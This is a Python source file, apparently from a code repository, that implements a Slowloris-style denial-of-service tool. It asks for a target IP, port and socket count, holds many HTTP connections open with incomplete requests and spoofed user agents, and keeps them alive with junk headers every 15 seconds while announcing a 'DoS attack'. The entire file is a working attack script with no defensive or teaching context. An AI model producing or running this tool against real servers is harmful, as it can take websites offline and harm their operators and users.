<gh_stars>0
import socket, random, time, sys
from fake_useragent import UserAgent

# Create fake user agent
ua = UserAgent()
headers = [
    "User-agent: {}".format(ua.random),
    "Accept-language: en-US,en"
]

sockets = []

# Function setupSocket
def setupSocket(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(4)
    sock.connect((ip, port))
    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("UTF-8"))

    for header in headers:
        sock.send("{}\r\n".format(header).encode("UTF-8"))

    return sock

if __name__ == "__main__":

    print(headers)
    ip = input("Enter an IP Address: ")
    port = int(input("Enter port: "))
    count = int(input("Number of socket: "))
    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

    for _ in range(count):
        try:
            print("Socket {}".format(_))
            sock = setupSocket(ip, port)
        except socket.error:
            break

        sockets.append(sock)

    while True:
        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

        for sock in list(sockets):
            try:
                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("UTF-8"))
            except socket.error:
                sockets.remove(sock)

        for _ in range(count - len(sockets)):
            print("Re-opening closed sockets...")
            try:
                sock = setupSocket(ip, port)
                if sock:
                    sockets.append(sock)
            except socket.error:
                break

        time.sleep(15)
